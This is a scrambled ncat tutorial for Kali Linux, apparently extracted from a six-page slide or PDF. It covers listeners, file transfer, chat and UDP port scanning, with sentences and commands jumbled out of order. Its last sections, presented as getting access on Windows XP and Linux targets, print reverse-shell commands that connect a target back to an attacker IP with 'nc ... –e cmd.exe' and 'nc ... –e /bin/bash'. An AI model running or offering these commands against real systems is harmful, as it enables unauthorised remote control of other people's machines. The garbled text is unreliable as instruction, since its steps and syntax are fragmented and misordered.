You are on page 1of 6

How to use ncat in kali linux

Intro - Ncat or netcat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project and is the culmination of the currently splintered family of Netcat incarnations. It is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses. Ncat is also known as : THE SWISS ARMY KNIFE. we can write ncat or nc while running the command options. So dont be confuse if i will use different name of ncat. simply we can understand What netcat does it opens the connection between two machines and give back two streams. IN this tutorial we need two machine here I am using kali linux as server and backtrack as client machine. 1. How to open ncat A. GUI Method Application →Kali Linux → Information gathering → Live Host Identification → ncat
(click on image for large view)

B. Open terminal type ncat –h this command will open ncat with help options

129 25 Run this command on Kali linux (server). Lets learn this theory with some practical example but before this I want to explain commands once again in syntax mode. -p option will mention which port to listen.txt will make your pc to listen on tcp port 3333 and write everything from the client to the receive. Transfer file by using ncat .netstat –antp |grep 25 These are proof we have successfully done our job 3.2. On kali linux (server) Syntax – ncat –lvvp port Ex – ncat –lvvp 25 On Backtrack (client ) Syntax – telnet serverIP port Ex.71.txt to server. -v option will make it interactive. It will show you that you are established Syntax – netstat –antp |grep port (run this syntax in a new terminal) Ex . Listening on any TCP/UDP port . Let me clear you some command option which we are going to use here -l option will help it work in listen mode. nc serverIp address 3333 < send. Kali Linux (server) .we will learn transferring file with ncat between server or client.We will learn to act as any server with ncat.168.txt file.telnet 192.txt command on the client will establish session to server and starts uploading the send. ncat –lvvp 3333 > receive.

71.txt Ex – ncat –lvvp 3333 > receive.71.129 3333 < send. Ex – nc -vzu 192.txt Here you can see we have successful on our task. Create a instant chat session by ncat – we are going to create a chat session between sever or client.71.128 1-255 5.txt ncat serverIP port < filename2.168.txt Backtrack (client) Syntax – echo “write whatever you want to send” > filename2.ncat –lvvp port > filename. Kali linux (server) Syntax – nc –l –p port Ex – nc –l –p 3333 Here –l option will help it works in listener mode -p option for port number Backtrack (client) Syntax – nc serverIP port Ex – nc 192.129 3333 .txt Ncat 192.txt Ex – echo “hello I am a client PC and My name is backtrack” > send. Ncat as a simple UDP Port scanner.168.Syntax . 4.168.

Get access on windows Xp by ncat – I am going to show you how can you get access on a windows xp as target OS through Kali linux as Attacker OS. First of all download ncat for windows from here.exe attackerIP port –e cmd.exe Ex – nc.exe 192.71.If everything is fine we will get msg on both PC server or client which they are sending to each other as shown image: 6.exe .168. Now follow th images for more info.129 3333 –e cmd. Kali linux (Attacker ) Syntax – nc –lvvp port Ex – nc –lvvp 3333 Here we have download ncat for windows Windows Xp (Target) Syntax – nc.

128 3333 –e /bin/bash .exe –lvvp 3333 Linux (Target) Syntax – nc AttackerIP –e /bin/bash Ex – nc 192. Get access on Linux by ncat – I am going to show you how can you get access on linux as target OS through windows XP as Attacker OS. First of all download ncat for windows from here.Now you can see we have entered on windows xp C drive Just for verification run command ipconfig there you will see the IP address of Windows Xp 7. Windows Xp (Attacker) Syntax – nc.71.exe –lvvp port Ex – nc. Now follow the images for more info.168.

Now you can see we have entered on Linux Just for Verification run command ifconfig here you will see the IP address of linux (click on image for large view) .